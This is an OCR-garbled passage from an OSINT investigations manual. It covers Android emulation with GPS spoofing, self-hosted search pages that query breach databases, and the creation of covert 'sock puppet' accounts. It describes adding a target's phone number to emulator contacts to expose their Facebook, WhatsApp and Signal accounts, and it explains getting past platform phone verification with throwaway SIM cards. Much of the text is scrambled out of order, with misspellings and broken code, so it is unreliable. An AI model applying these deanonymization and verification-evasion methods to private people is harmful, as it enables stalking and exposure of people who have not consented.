will be required in order to fully use the application. After you have created the account and successfully logged in to the site, navigate to genyTOotion.com/fun-zone and click on the "Download Genymotion Personal Edition" link. This presents the standard download page for Window’s, Mac, and Linux. If prompted, choose the version without VirtualBox, as j’ou should alreadj’ have that program installed. Executing the download and accepting all default installation options will install all of the required files. When the setup process has completed, you will have a new icon on your desktop tided Genj’motion. This entire process should occur on your HOST operating system, and not within a virtual machine. q (left) and the custom version free of clutter (right). Figure 7.03: A default Android open version of the device that voi F Drag any app icons up and drop them in the "Remove" option. Click and hold the bottom of the screen and drag up to view installed applications. Drag the Settings icon to your home screen and open the app. Choose "Display", then "Sleep", and select "30 Minutes". Choose "Security", then "Screen Lock", and choose "None". Press and hold the main window, select Wallpaper, and change if desired. Shut down die device and open VirtualBox. Similar to die VM settings, change the Video Memory to the maximum. Change the Memory size to half of the system resources. Relaunch your device from within the Genymotion application. You should now have a functioning replica of a standard Android device. However, you are missing several features. The biggest void is the absence of key applications such as Google Play and Gmail. Without core Google sendees, you cannot download apps to your device as part of your investigation tools. This has been the biggest hurdle with emulation. Consequently, there is finally an official fix, and an alternative option for advanced users. First, let's try the easy way by using the Genymotion built-in Google features. • While inside our virtual Android device, click the "Open GzXPPS" icon in the upper right corner. Accept the agreement and allow Google Apps to install. Select the option to restart die devices. • Your browser should open to https://opengapps.org/?source=genymotion. Select "ARM64", the >u created (10.0.0), and "Stock". Click the red download option in die lower right and save the large file to your Desktop. Do NOT open the downloaded zip file. • Drag-and-Drop the downloaded zip file into your running Android device. zXccept any warnings. You may receive errors. When complete, close and restart the device. z\ndroid Emulation 123 You should now have the Google Play Store in your applications menu. Launching it should prompt you to connect to an existing or new Google account. Consider using an anonymous account that is not used for anything else. 1 do not recommend creating a new account from within this virtual machine because Google will likely demand a cellular telephone number for verification. 1 prefer to create Google accounts from a traditional computer before connecting to the virtual zXndroid device. zXfter syncing with an active Google account on your new device, you should now be able to enter the Google Play Store. You should also now see all core Google services in your applications menu. 124 Chapter? » e I _ • ° □ c Bearing ■ 90 in* n You can now install any apps within the Play Store. If any apps refuse to install because of an incompatible device, you could replicate the F-Droid and Aurora Store technique explained in the previous tutorial. The addition of Google Play will allow you to natively install Android applications as if you were holding a real telephone or tablet. Launch Google Play and you will be able to search, install, and execute most apps to your new virtual device. After you install a new program, click on the applications menu. Click and hold the new app and you will be able to drag it to your home screen. Figure 7.04 (left) displays the screen of my default investigation emulator. Next, you should understand the features embedded into the Genymotion software. ffl © S ^3 w ° ’F BO W© m SOM IM Cm* w M. Kagma. tMsta MiiknM few Co«K3 KfS»n iiantm When you launch an z\ndroid virtual machine, you will see a column on the right side of the window and a row of icons horizontally on the bottom. The bottom icons are part of the emulated Android system. Clicking the first icon will navigate you backward one screen from your current location. If you are within an app, this would take you back one step each time that you press it. The second icon represents the "Home" option and will always return you to the home screen. The third button is the "Recent Apps" option and it will load a view of recently opened applications. The icons on the right of the emulator are features of Genymotion and allow you to control aspects of die Android machine from outside of the emulator. The following page displays this column of options, which should help explain each of these features. Note that many features are not available in the free version, but 1 have never found that to be a hindrance to my investigations. Genymotion is quite clear that if you plan on making money by designing an app through their product, you should pay for a license. Non-commercial usage allows unlimited use of the free personal version. The GPS option within Genymotion is the most beneficial feature of their toolset. Clicking this icon and clicking the Off/On switch will execute the location spoofing service. You can cither supplv the exact coordinates directly or click on the Map" button to select a location via an interactive Google map. Figure 7.04 (middle) displays the default GPS menu in the disabled state. Figure 7.04 (right) displays coordinates entered. I recommend changing the altitude, accuracy, and bearing settings to "0". Close this window and you will see a green check mark in the GPS button to confirm that your location settings are enabled. Figure 7.04: A custom Android emulator home screen with several apps installed into groups (left), disabled Genymotion GPS menu (middle) and spoofed GPS (right). I GAPPS Indicator: Confirms Google Services arc installed. your virtual machine. GPS: Enable and configure the current location reported to the device. Webcam: Use your computer's webcam for live video within an app. Remote Control: Not available in the free version. Identifiers: Not available in the free version. Disk I/O: Not available in the free version. Network Configuration: Not available in the free version. Phone: Not available in the free version. App Sharing: Not available in the free version. Volume Up Volume Down Screen Rotate: Elip your view into horizontal mode similar to a tablet. Pixel Configuration: Not available in die free version. Back Button: Moves back one screen from current app location. application. Home: Returns to die Home screen. Power: Shuts down the device. art Q 0* < r=i o Contact Exploitation Recent Apps: View rccendy opened applications. Battery Indicator: It docs not have any impact on Mobile apps often urge users to invite friends into the app environment. When you first join Twitter, the app requests access to your contacts in order to connect you with "friends" who are also Twitter users. This is one of the most reliable wrays which apps can keep you within their ecosystem. As investigators, we can use this to our advantage. I have found that adding my unknown target's cellular telephone number to the Android phone's address book will often obtain the following information relative to the target. Menu: Simulates the "Menu open" option within an Screen Capture: Not available in the free version. Android Emulation 125 Friends Sori e Jean Figure 7.05: A Facebook "friend" disclosure after adding a cellular number to Contacts. Virtual Device Cloning "2021-1234". 126 Chapter? secure messaging program Signal. When 1 downloaded the You can now use this cloned device to conduct your investigation. Any changes made within it will have no impact on the original device. In fact, I tided my original investigation device "/Xndroid Original 9.0", as seen in • Associated Facebook accounts (name) from the "Find Friends" feature. • Google Play purchases and reviews (interests) from die Google Play Store. • Associated Twitter accounts (name) from the "Find Friends" feature. • WhatsApp usernames and numbers (contact) registered to the cell number. Basically, entering a target's phone numbers and email addresses into your address book on an Android emulator forces many apps to believe that you arc friends with the person. It overrides many authority protocols that would otherwise block you from seeing the connection from the real details to die connected profiles. Figure 7.05 displays a redacted result of one attempt. I launched "Contacts" from within the Android applications and added a cellular number of a target with any name desired. I then launched Facebook and clicked the "Find Friends option. Facebook immediately identified an account associated with the number entered. Similar to the tutorials for cloning Linux virtual machines, we can apply the same process toward our new Android VM. Similar to the earlier instruction about using a clean virtual machine for even' investigation, you should consider a new Android virtual device every time to research a target. The steps taken previously may seem too complicated and laborious to execute every day, so you may want to maintain an original copy and clone it. The following instructions will clone the exact state of any virtual Android device within VirtualBox, including devices created within Genymotion. Let's consider another example using the popular Signal app, it wanted me to register a telephone number. 1 chose a Google Voice number and configured the app. I then added my target s cellular number into my Android contact list and asked Signal to search tor friends. Signal immediately confirmed that my target was active on Signal. This alone is valuable in regard to behavior, but not very helpful to establish identity. If I launch a new window to send a message to the number, even if I do not send the data, I may see a name associated with the account. This would need to be a deliberate act by the target, but this behavior is common. • Create and customize an Android virtual device as desired. Configure all apps that you want present in all cloned copies. Optionally, execute the app "Secure Eraser" to eliminate unnecessary hard drive space. Shut down the machine completely. • Open VirtualBox from your Applications folder (Mac) or Start menu (Windows). Right-click the machine that you want to duplicate and select "Clone". Figure 7.06 displays this program with a right­ click menu option from an active machine. • Provide a name for your new machine. This could be "Investigation Original Copy" or Choose the options of Full Clone and Current machine state and click the Clone burton. VirtualBox will create an exact duplicate of the chosen machine in the default folder for VirtualBox machines. You can identify this folder by right-clicking your new machine and choosing "Show in Finder" (Mac) or "Show on disk" (Windows). y Preview ► j Paging in the menu. Virtual Device Export rage you Android Emulation 127 Android Original 9.0 / Start Figure 7.06: A VirtualBox menu with a clone option xs l9 0 o o Hew Settings Settings... I (g&ia- Move... Export to OCI... Remove... Group Start Pause Reset Close Ubuntu Install (Install) Od 6 Powered Off 1 encourage you to experiment with all of the options, and choose any that work best for you. I always keep a native VirtualBox version of Android 9.0 and a Genymotion version of 10.0 available and updated at all times. At the time of this writing, my Genymotion machine seemed more responsive and functional, but my VirtualBox devices were more isolated and exempt from licensing complications. Only you can decide the best path for your investigations, but I encourage you to explore both options. "File" in the menu bar, and select "Export Appliance". Select location and name of the file. to complete. The final result will consist of a single file that can "Jf*. OS1NT Original ukl O, Powered Off Overall, I believe the future of OSINT collection will become more focused on mobile apps that have no website search option. In order to conduct thorough online investigations, mobile environment emulation is required. 1 highly recommend practicing these techniques with non-essential apps and data. This will better prepare you for an actual investigation with proper evidence control. Expect frustration as apps block access from within virtual devices due to fraud. However, the occasional investigation success through virtual /Vndroid environments justifies all of the headaches encountered along the way. Android 9.0 Caso#2021-1234 L- I O' Powered Off • Open VirtualBox in the same manner as mentioned previously. • Select the target virtual device, click on the device again and provide the save • Click "Export" and allow the process be archived to DVD or flash media. • This file can be imported into VirtualBox by choosing the "Import Appliance" option in the File menu. This would allow another investigator to view the exact investigation environment as you. Native Android within VirtualBox and Genymotion are not your only options. Third-party applications such as BlueStacks (bluestacks.com), Andy (andyroid.net), and NoxPlaycr (bignox.com) all offer the same basic functionality with added overhead and requirements. After installation, most of these programs work the same way as VirtualBox. In fact, most of them rely on VirtualBox on the back end. 1 choose VirtualBox over these because of the ability to easily import and export evidence as a virtual machine. While the others have their own backup and export options, I find the tutorials presented here to be more transparent and acceptable in court. Figure 7.06. This way, I know to only open it to apply updates, and never for active investigations. Every time 1 need to use a device to research a target, I quickly clone the original and keep all of my cases isolated. You may be asked to provide all digital evidence from your investigation as a matter of discover}’. This couk happen to a forensic examiner hired in a civil case or law enforcement prosecuting a criminal case. This is the precise reason that 1 create a new virtual device for all my investigations. Not only is it a clean and fair environment, it is easy to archive and distribute when complete. The following instructions will generate a large single file that contains the entire virtual operating system and apps from your investigation. Android Original 9.0 IL- ; J?}’ Powered Off 128 Chapter8 <!DOCTYPE htmlxhtml> This informs a web browser that this is a web page, even if offline, and begins the page. Ch a pt e r Eig h t Cu s t o m Se a r c h To o l s This collection reveals a folder tided "Tools" consisting of multiple files within it Technically, you have everything you need to replicate my once public search tools. However, it is up to you to modify these as needed. You will eventually want to remove dead sources, add new features, and modify the structures due to changes at third-party websites. 1 will use my Email Tool as a demonstration. Figure 8.01 displays the current view of the Email tool. As you can see, there are several individual search options and a "Submit All" feature at the bottom. Inserting an email address into any of these fields will query that address through the designated option, or the final field executes a search through all of them. Let's pick apart one of these queries from within the code. By default, double-clicking on any of the files within the search tool folder opens the selected option within your default web browser. This is required for any of them to function. In order to edit the files, we must open them within an HTML editing tool or any text processing application. If you are on a Mac, that could be TextEdit, Windows users have Notepad, and Linux users have Text Edit. All work fine for our needs. Lately, I prefer Atom (atom.io), which is a cross-platform free text editor. I assumed my search tools would be around as long as I maintained my site. I learned the hard way that nothing lasts forever. We can no longer rely on third-party tools, a theme which 1 have overly-emphasized diroughout this entire book. Any online search tool outside of your control could disappear any day. That is not the worst possible outcome. We never truly know what information various online search tools are storing about our searches and activity. Many aggregated search sites possess numerous tracking cookies and practically all "link collections" force embedded analytics capturing data about every visitor. Creating and hosting your own tools eliminate these issues. We still must query sensitive data to a final repository of information, but let's eliminate the middle-man. 7111 of the tools presented in this chapter, and referenced throughout the book, do not need to be placed online within a website. You can store them on your computer and launch them without fear of questionable connections. Let's get started. If you open the file titled email.search.html within a text editor (File > Open), you will see the code which makes this document function within a web browser. The following explains each section. Complete understanding of each term is not required to use and modify your own tools, but these pages may serve as a reference if you ever want to make substantial changes. First, download a copy of all search tool templates used within the entire book. This can be found at https://inteltechniques.com/osintbook9/tools.zip. Enter a username of "osint9" and password of "bookl43wt" (without quotes) if required. Unzip this archive to a destination of your choice. If using the Linux, Mac, or Windows OS1NT builds which were previously explained, you should already have the necessary files on your Desktop. 1 always suggest saving them to the Desktop for easy access. However, anywhere should suffice. Be sure to extract all of the files within the zip file. Custom Search Tools 129 From 2010 through 2019,1 offered a set of public free interactive online investigations tools. In June of 2019,1 was forced to remove these tools due to abuse and legal demands. However, 1 never agreed to prevent others from creating their own sets or offering downloadable copies which can be run locally from any computer. In the previous edition of this book, I offered an offline version of these tools which could be self-hosted and immune from vague takedown requests. This chapter revisits these tools and offers several enhancements. The goal of this chapter is to help you create and maintain your own custom search tools which can automate queries for any investigation. First, let's talk about why this is so important. <head> <title>Email Search Too!</title> This represents the title of the page, risible in the browser tab. </head> This discloses the end of the "head" or "header" section. <body> <table width-TOOO" border="O"xtd width=“200"xtd width="800"> <script type="text/javascript"> This identifies the following text as a JavaScript command. function doPopAII(PopAII)... tools to populate given data to the remaining fields. <form onsubmit-'doPopAII... This section creates the "Populate All" button which populates the given data throughout the remaining tools. Function doSearch01(Search01) This tells the page we want it to "do" something, and the task is called SearchOl. {window.open('https://haveibeenpwned.com/unifiedsearch/' + SearchO1,'SearchO1 window');} This instructs the page to build a URL, add a piece of data, and open the result in a tab. 130 Chapter 8 This informs your browser that the "body" portion of the page begins now. This informs your browser that the "head" or "header" portion of the page begins now. This provides instruction to the browser which allows our It is required for the next option. This sets tire style requirements such as colors and sizes of the content within the page. You can experiment with these settings without risking the function of the tools. <style> ul {list-style-type: none;margin: 0;padding: 0;width: 200px;background-color: #f1f1f1;} li a {display: block;color: #000;padding: 8px 16px;text-decoration: none;} li aihover {background-color: #555;color: white;} li a.active {background-color: #303942;color: white;} li a.grey {background-color: #cdcdcd;color: black;} li a.blue {background-color: #b4c8da;color: black;} table td, table td" {vertical-align: top;)</style> This creates a table within our content and sets the overall width with no border. It then specifies tire width of tire columns. The data in between identifies the menu items visible on the left of the page, which are considered tire first column within the table. </script> This identifies the end of each script. <form onsubmit="doSearch01(this.Search01 .value); return false;"> This creates a form to generate the URL, looking for a specific value. <input type="text" name="SearchO1"" id="Searchor size="30" placeholder="Email Address"/> <input type="submit" style="width:120px" value="HIBP Breaches" /xbr /x/form> This creates the Submit button with specific text inside, inserts a new line, and closes the form. </tablex/bodyx/html> This identifies the end of the "table", "body", and "HTML" sections, and closes the page. • Right-click on the page and choose "Inspect Element". • Click the "Network" tab in the new window at the bottom of the page. • Type an email address into the website and execute the search. • Scroll through die new text in the Inspector window at the bottom of the page. • Click on the result displaying the target email address with "xhr" in the "Cause" column. • Copy the URL in the window to the right under "Headers" as seen in Figure 8.04. Navigate to haveibeenpwned.com within Firefox and allow the page to load. Conduct the following steps to identify the exact URL which submits a query to return data about your target. This only represents the first search option within this tool, but it is quite powerful. This collects a target email address and queries the website Have I Been Pwned to identify known data breaches containing this account. This technique will be explained in more detail later in the Email chapter. This also demonstrates the need for a search tool versus simply visiting the search site. If you go to haveibeenpwned.com, you can enter an email address to conduct your search. The new page presented does not include a static URL for that search. The page with your results still possesses a simplified address of haveibeenpwned.com, and not something static and similar to haveibeenpwned.com/[email protected]. Bookmarking this page would not present the search results which you have just achieved. This is why I am using a different static address of https://haveibeenpwned.eom/unifiedsearch/[email protected]. It presents the same content, but is a text-only format. Below is another example to explain this. Custom Search Tools 131 This creates a form input identified as SearchOl with "Email Address" populated in the field. Conducting the search on the official site presents a graphical output similar to that seen in Figure 8.02. However, the static address I just mentioned presents a view from the Have I Been Pwned API, as seen in Figure 8.03. The same data can be found in each offering, but the text view can be copied and pasted more easily. It also possesses a static URL which can be referenced in your report and recreated later. You may be wondering where this URL came from. It is not advertised on the site, and is not an official option within the API (which is now a paid service, but tliis URL is free). That is our next tutorial. F K Populate All IntcITcchniqucs Tools Search Engines Facebook Twitter Instagram Linkcdln Communities Usernames Names Telephone Numbers Maps Documents Pastes Images Videos j Domains IP Addresses Submit All i: I Email Address Business & Government ; PeopleDataLabs [Email Address (Requires API Key) Figure 8.01: The Email Addresses Tool. j [email protected] Figure 8.02: /\ result from the Have 1 Been Pwned website. Description: LogaPath: Figure 8.03: A result from the Have I Been Pwned API. 132 Chapter 8 Email Addresses r 1i ] i ] 1 j Title: Dorjin: BreichDate: AddecDatc: PodifiedOate; PwnCount: 1 I 1 J I ] ■ J "BiUoinTalk" "Bitcoin Talk" "bitcointalk.org" "2eis-es-22" "2317-03-27123:45:412" "2017-83-27723:45:412" 501407 “In May 2015, the Bitcoin form <a href^\ubttps://b,-M.cryptocoinsne*--s.co=/bitcoin-cxchang^-btc-e-bitcointalk-foru^- genders, birth dates, security questions and HD5 hashes of their answers plus hashes of the passwords theaselves." “bt tps ://haveibcsnpwncd. cos/Con ten t/Iojgcs/PvnedLcrgos/Blt coinTj I k. png" j Oh no — pwned! Pwned on 82 breached sites and found 52 pastes (subscribe to search sensitive breaches) | Email Address Google Bing Yandex Trumail Emailrep Gravatar i Email Address I Email Address | ■ Email Address [ i Email Address I Email Address i Email Address [Email Address i Email Address I HunterVerify OCCRP_ SearchMyBio SpyTox ThatsThem Protonmail DomainData Whoisology AnalyzelD _______ HIBP Dehashed Spycloud ______ CitOday Cybernews PSBDMP _ _______ inteIX LeakedSource [Email Address [Email Address [Email Address [Email Address 1 Email Address Email Address [Email Address i Email Address | Email Address [Email Address [Email Address [Email Address [Email Address .Email Address [ Email Address Figure 8.04: The static URL from a query as seen in Inspector. {window.open(lhttps://haveibeenpwned.com/unifiedsearch/' + SearchO! ,'Search01 window1);} {window.open(lhttps://dehashed.com/search?query="' + Search05 +'Search05window');} Let’s assume Dehashed made a change to their search, which appears in the tool as follows. {window.open('https://dehashed.com/search?query="1 + Search05 +'Search05window’);} This is because the URL structure of the search is as follows: https://dehashed.com/search?query="[email protected]" their site to the following: https://dehashed.com/?query="[email protected]"&trial Your new line within the tool would need to be manipulated as follows: {window.open(lhttps://dehashed.com/?query=l" + Search05 + *“&trial*, 'Search05window');} Next, let's assume that you found a brand-new search service which was not included in the downloadable search tools. You will need to modify the tools to include this new option. Again, we will use the email tool as an example. Open the "Email.html" file within a text editor. Look through the text and notice that each search Assume that Dchashed changed the search structure on (ED Headers Cookies Params Response Timings Stack Trace Request URL: https://haveibeenpwned.co3/unifiedsearch/testM0emait.coa Request method: GET Remote address: 104.10.173.13:443 With this method, we can identify the URL structures for our tool. In the example displayed previously, our tool presented a line of code which included the URL required for the search. This line instructs the tool to open a new browser window, navigate to the website https://haveibeenpwned.com/unifiedsearch/, followed by whatever text was entered into the search tool, and define that new window (or tab) with a unique name in order to prevent another search within our tool from overwriting the page. This results in our tool opening a new tab with our desired results (https://haveibeenpwned.eom/unifiedsearch/[email protected]). Let's look at another search option within this same tool with a slightly different structure. The Dehashed search option is unique in that it requires quotation marks surrounding the input. In other words, you must enter "[email protected]" and not simply [email protected]. This requires us to add an additional character after the target input has been provided. Below is the example for this query. Note that double quotes (") are inside single quotes 0, which appears quite messy in print. Always rely on the digital files to play with the actual content. This line instructs the tool to open a new browser window, navigate to the website https://dehashed.com/search?query=", followed by whatever text was entered into the search tool, plus another quotation mark (a single quote, double quote, and another single quote), and define that new window (or tab) with a unique name in order to prevent another search within our tool from overwriting the page. The lesson here is that you can add as many parameters as necessary by using the plus (+) character. You will see many examples of this within the files that you have downloaded. Remember, ever)’ search tool presented in this book is included in digital format. You only need to modify the options as things change over time. Custom Search Tools 133 https://emailleaks.com/[email protected] Submit All Simplified Modification 134 Chapter8 You would next copy the "Searcli24" script and paste it at the end of the tool (before the Submit All feature). You can then edit the script, which should look like the following, using "Search26" and our new URL. <script type="text/javascript"> function doSearch26(Search26) {window.openf’httpsV/emailleaks.com/ajax.phpVquery^ + Search26, 'Search26window');} </script> <form onsubmit="doSearch26(this.Search26.value); return false;"> •dnput type="text" name="Search26" "id="Search26" size="30" placeholder="Email Address'7> <input type="submit" style="width:120px" value="Email Leaks" /xbr /x/form> Window.open(,https://haveibeenpwned.com/unifiedsearch/' + all, 'SearchOI window'); window.open('httpsy/dehashed.com/search?query=' + all, 'Search05window'); script possesses an identifier similar to "SearchOI", "Search02", "Search03", etc. These must each be unique in order to function. You will notice that the final option (after the Submit All feature) is "Search25". We now know that our next option should be "Search26". Assume that you found a website at emailleaks.com and you want to add it to the tools. A query of an email address presents a URL as follows. In each of the tools, I have simply replicated the individual search options within one single "Submit All" feature. If you modify a search tool within the code next to the manual search, you should also update it under the final option to execute all queries. If you feel overwhelmed with all of this, do not panic. None of this is required at this point Your own custom offline search tools are already configured and functioning. If a specific desired tool stops functioning, you can use this chapter to change your scripts. All we changed within this copy and paste job was the target URL, the Search26 identifiers, and the descriptor. You can place this section anywhere within the tools, as it does not need to be at the end. Note it is titled Search26, so any new options added would need to start with Search27. These numbers do not need to be sequential throughout the tool, but they must be unique. Many of the online search tools offer a "Submit All" button at the bottom of the options. This executes each of the queries referenced above the button and can be a huge time saver. If you open one of the search tools with this option in a text editor, you will see the code for this at the bottom. It appears very similar to the other search options, but there are multiple "window.open" elements such as those listed below. I am sure some readers are frustrated at the technology presented here. Some may look at this code and cite numerous ways it could be made better. I agree this is amateur hour, as I am not a strong HTML coder. Other readers may be confused at all of this. For those, there are two options which simplify' things. First, ignore diis entire chapter and simply use the free tools without any modification. Some options will break eventually as sites come and go, but that should not impact the other fields. Second, don't worry too much about adding new You may have noticed that there are several files within the Tools folder. Launching any of these opens that specific tool, such as "Email.html", but a menu exists within each of the pages in order to navigate within the tool to the desired page. The file tided "index.html" is the "Main menu", and might be appropriate to set as your browser’s home page. Clicking on the desired search option within the left side of the menu opens that specific tool. As an example, clicking on "Twitter" presents numerous Twitter search options. These will each be explained at the end of each corresponding chapter. https://inteltechniques.com/osintbook9 Populate All License & Warranty features. Instead, simply replace any searches that stop functioning. If Dehashed shuts down tomorrow, simply wait for a replacement. When that happens, modify only the URL and name, leaving the structure as-is. You have a strong start with the current tools template. Very minimal modifications as things break will keep you in good shape. Any major updates which I perform to my own set of tools will be offered on my site for download. Check the "Updates" section at the following page. • Click the Firefox menu in the upper right and choose Preferences or Options. • Click on Privacy & Security and scroll to Permissions. • If desired, uncheck the "Block pop-up windows" option. While 1 would never do this on my primary browser used for personal activity on my main computer, I have disabled the pop-up blocker within my OSINT Original VM (and therefore all clones). It simply saves me headaches when trying to use automated tools. If only using the single queries within the tool, your pop-up blocker will not interfere. I highly recommend that you become familiar with these search tools before you rely on them. Experience how the URLs are formed, and understand how to modify them if needed. Each of these tools will be explained in the following chapters as we learn all of the functions. These tools are released to you for free. Full details of allowances and restrictions can be found in the "License.txt" file and "License" link within the tools download. The tools are provided "as is", without warranty This will prevent your pop-up blocker from blocking that specific page. You would need to repeat the process for each of the other tools, such as Twitter, Facebook, etc., which can be quite a burden. If desired, you can disable the pop-up blocker completely, but that carries risks. You may visit a malicious website which begins loading new tabs. I do not see this as much as in years past, but the threat does still exist If conducting your research within a VM, 1 do not see a huge risk in disabling this blocker. If you do, all of the tools will function without specific modifications to the blocker. Make this decision carefully. You may have noticed that most of the tools have an option to populate all of the fields from a single entry. This is beneficial as it prevents us from copying and pasting target data within multiple fields. This code, which was presented earlier, tells your browser to populate anything you place into the first field within every field on that page which has an ID of "Search" plus any numbers. In other words, it would populate both examples on the previous page because they have "id=Search25" and id="Search26". Test this within the Email search tool. Make sure each "id" field is unique, as no two can be the same on one page. When I need to search a specific target, I do not copy the data into each search field and press the corresponding button for each service. I place the input directly into the "Populate All'* option and then execute any individual searches desired. Alternatively, I place my target data into the "Submit /Ml" option and let it go. If using Firefox, this will fail on the first attempt. This is because you have pop-ups blocked by default, and Firefox is trying to protect you from multiple new pages loading automatically. The following steps will prevent this. • Open the Email.html search tool included in your downloaded offline search tools. • Place any email address in the last option and press the Submit All button. • A new tab will open, but close it. • Back in the Email search tool, you should see a yellow banner at the top. • Click the Preferences button and click the first option to "Allow pop-ups for file". Custom Search Tools 135 Easy Access of that page should present all Online Version https://inteltechniques.com/osintbook9/tools 136 Chapter8 Finally, I present an additional option for accessing these tools. I will keep a live copy on my website within the secure resources area for this book at the following address. of any kind. Please follow my blog or Twitter account for any updates. Ultimately, it is your responsibility to update your tools as desired as things change after publication. The torch has been passed. Navigating to this page should present an interactive version of all tools. As I modify my own pages, this live collection will be updated. After signing in with the username and password previously presented (osint9 / bookl43wt), you can execute queries here without the need to download your own tools. I see none of your search activity and query data is never stored on my server. I offer this only as a convenience to readers, and I still prefer the offline option for several reasons. First, the live tools could disappear at any time due to another takedown demand. Next, you cannot modify my live online version as you can your own copy. Finally, you must rely on my site being available during your investigations. The offline version is available on your desktop at any time. Please use these responsibly. 1 suspect the live version may need to be removed some day due to abuse, but I am optimistic that we can use this valuable resource for our daily investigations until then. Regardless of where you save your set of tools, I highly recommend that you create a bookmark within your browser for easy access. I prefer them to be within my bookmarks toolbar so that they are always one click away. Navigate to your search tools. If using the Linux, Mac, or Windows OSINT machines, they are in the Tools folder on your desktop. Double-click the file titled "Search.html" and it should open within your default browser, preferably Firefox. If the page opens in Chrome or another browser, open Firefox and use the file menu to select "Open File" and browse to the "Search.html" file. After the page loads, create a bookmark. In Linux and Windows, press "Ctrl" + "D" ("command" + "D" on Mac). When prompted, provide a name of "Tools" and save the page in the folder tided "Bookmarks Toolbar". You should now see a new bookmark in your browsers toolbar tided "Tools". If your Bookmarks Toolbar is not visible, click on "View", then "Toolbars", then "View Bookmarks Toolbar". You can now click this new button within your toolbar at any time and immediately load the Search Engines tool. Clicking through the other options in the left menu < w other search tool pages. I use this shortcut to launch my tools daily. Covert Accounts OSINT Resources & Techniques 137 Se c t io n II OSINT Re s o u r c e s & Te c h n iq u e s Before proceeding with any of the investigation methods here, it is important to discuss covert accounts, also referred to by some as "Sock Puppets". Covert accounts are online profiles which are not associated with your true identify. Many social networks, such as Facebook and Instagram, now require you to be logged in to an account before any queries can be conducted. Using your true personal account could reveal your identity as an investigator to the target. Covert accounts on all of the social networks mentioned here are free and can be completed using fictitious information. However, some networks will make this task more difficult than others. Google, Facebook, Twitter, Instagram, and Yahoo are known to make you jump through hoops before you are granted access. We begin this chapter discussing ways around this. Email: It is vital that you possess a "clean" email address for your covert accounts. Every social network requires an email address as a part of account registration, and you should never use an already established personal address. Later chapters explain methods for researching the owners behind email addresses, and those techniques can be applied to you and your own accounts. Therefore, consider starting fresh with a brand-new email account dedicated toward use for covert profiles. The choice of email provider is key here. I do not recommend GMX, ProtonMail, Yahoo, Gmail, MSN, or any other extremely popular providers. These are heavily used by spammers and scammers, and are therefore more scrutinized than smaller providers. My preference is to create a free email account at Fastmail (https://ref.fm/ul4547153). This established mail provider is unique in two ways. First, they are one of the only remaining providers which do not require a pre-existing email address in order to obtain a new address. This means that there will be no connection from your new covert account to any personal accounts. Second, they are fairly off-radar" from big sendees such as Facebook, and are not scrutinized for malicious activity. Some may consider this section to be the "guts" of the book. It contains the OSINT tips, tricks, and techniques which I have taught over the past twenty' years. Each chapter was rewritten and confirmed accurate in December 2020. All outdated content was removed, many techniques were updated, and numerous new resources were added. The first four editions of this book only consisted of this section. Only recently have I adopted the preceding preparation section and the methodology topics toward the end. OSINT seems to have become a much more complex industry over the years. It is exciting to watch the community' grow and 1 am honored to play an extremely small role. This section is split into several chapters, and each explains a common type of target investigation. I have isolated specific topics such as email addresses, usernames, social networks, and telephone numbers. Each chapter provides every valuable resource and technique which I have found beneficial toward my own investigations. No book could ever include even’ possible resource, as many tools become redundant after a superior version has been identified. I do my best to limit the "noise" and simply present the most robust options for each scenario. This section should serve as a reference when you encounter a specific need within your own investigations. Fastmail will provide anyone unlimited free accounts on a 30-day trial. I suggest choosing an email address that ends in fastmail.us instead of fastmail.com, as that domain is less used than their official address. This is a choice during account creation. Once you have your new email address activated, you are ready to create covert profiles. Note that the free trial terminates your access to this email account in 30 days, so this may not be best for long­ term investigations. Personally, 1 possess a paid account which allows me 250 permanent alias email addresses. 138 Section II • Facebook: This is by far the most difficult in terms of new account creation. For most new users, Facebook will require you to provide a cellular telephone number where a verification text can be sent and confirmed. Providing VOIP numbers such as a Google Voice account will not work anymore. I have found only one solution. Turn off any VPN, Tor Browser, or other IP address masking service and connect from a residential or business internet connection. Make sure you have cleared out all of your internet cache and logged out of any accounts. Instead of creating a new account on facebook.com, navigate directly to rn.facebook.com. This is the mobile version of their site which is more forgiving on new accounts. During account creation, provide the Fastmail email address that you created previously. In most situations, you should bypass the requirement to provide a cellular number. If this method failed, there is something about your computer or connection that is making Facebook unhappy. Persistence will always equal success eventually. I find public library Wi-Fi our best internet option during account creation. Instagram is similar to (and owned by) Facebook. Expect the same scrutiny. • Twitter Many of the Twitter techniques presented later will not require an account. However, the third-part}- solutions will mandate that you be logged in to Twitter when using them. I highly recommend possessing a covert account before proceeding. As long as you provide a legitimate email address from a residential or business internet connection, you should have no issues. You may get away with using a VPN to create an account, but not always. • Google/Gmail/Voice: While Google has become more aggressive at refusing suspicious account registrations, they are still very achievable. As with the previous methods, Google will likely block any new accounts that are created over Tor or a VPN. Providing your Fastmail address as an alternative form of contact during the account creation process usually satisfies their need to validate your request. I have also found that they seem more accommodating during account creation if you are connected through a Chrome browser versus a privacy-customized Firefox browser (Google owns Chrome). • Network: 1 always prefer to conduct online investigations behind a VPN, but this can be tricky. Creating accounts through a VPN often alerts the service of your suspicious behavior. Creating accounts from public Wi-Fi, such as a local library’ or coffee shop, are typically less scrutinized. A day after creation from open Wi-Fi, I attempt to access while behind a VPN. I then consistendy select the same VPN company and general location upon every’ usage of the profile. This builds a pattern of my network and location, which helps maintain access to the account. • Phone Number: The moment any service finds your new account to be suspicious, it will prompt you for a valid telephone number. Landlines and VOIP numbers are blocked, and they' will demand a true cellular number. Today, I keep a supply of Mint Mobile SIM cards, which can be purchased for S0.99 from Amazon (https://amzn.to/2MRbGTI). Each card includes a telephone number with a one-week free trial. I activate the SIM card through an old Android phone, select a phone number, and use that number to open accounts across all of the major networks. As soon as the account is active, I change the telephone number to a VOIP option and secure the account with two-factor authentication (2FA). • 2FA: Once 1 have an account created, I immediately’ activate any’ two-factor authentication options. These are secondary’ security settings which require a text message or software token (Authy’) in order to access the account. Typically, this behavior tells the service that you are a real person behind the account, and not an automated bot using the profile for malicious reasons. • Activity: After the account is created and secured, it is important to remain active. If you create a new account and allow it to sit dormant for months, it is likely’ to be suspended the moment y'ou log back in to the account. If you access the account weekly, it is less likely to be blocked. You may’ assume that you can use your personal social network accounts to search for information. While this is possible, it is risky’. Some services may never indicate to the target that y’our specific profile was used for searching. Others, such as Facebook, will eventually notify the target that you have an interest in him, usually' in the form of friend recommendations. On any service, you are always one accidental click away from sending a friend request from your real account to the suspect For these reasons, I never use a personal social network profile during any' investigation. I maintain multiple covert accounts. The topic of undercover operations quickly’ exceeds the scope of this book. For our purposes, we simply need to be logged in to valid accounts in order to pacify the social networks. I will assume that you now have some accounts created. Let's dig in to online search. Profile Content OSINT Resources & Techniques 